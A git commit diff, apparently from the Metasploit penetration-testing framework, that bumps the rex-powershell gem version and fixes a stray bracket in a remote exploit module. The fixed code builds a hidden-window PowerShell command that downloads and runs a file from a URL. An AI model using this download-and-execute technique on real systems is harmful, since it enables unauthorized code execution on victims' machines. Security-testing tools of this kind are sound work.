remove errant bracket, formatting update

bug/bundler_fix
Jeffrey Martin 2017-10-26 15:01:53 -05:00
parent f2cba8d920
commit 43b67fe80b
No known key found for this signature in database
GPG Key ID: 0CD9BBC2AF15F171
2 changed files with 4 additions and 7 deletions

View File

@ -49,7 +49,7 @@ PATH
rex-mime
rex-nop
rex-ole
rex-powershell (< 0.1.73)
rex-powershell (< 0.1.78)
rex-random_identifier
rex-registry
rex-rop_builder
@ -278,7 +278,7 @@ GEM
rex-arch
rex-ole (0.1.6)
rex-text
rex-powershell (0.1.72)
rex-powershell (0.1.77)
rex-random_identifier
rex-text
rex-random_identifier (0.1.4)

View File

@ -163,16 +163,13 @@ class MetasploitModule < Msf::Exploit::Remote
file = %Q(echo (#{path}+'\\#{filename}'))
# Generate download PowerShell command
download_string = Rex::Powershell::PshMethods.download_run(url, file})
download_string = Rex::Powershell::PshMethods.download_run(url, file)
end
download_and_run = "#{ignore_cert}#{download_string}"
# Generate main PowerShell command
return generate_psh_command_line(noprofile: true,
windowstyle: 'hidden',
command: download_and_run
)
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
end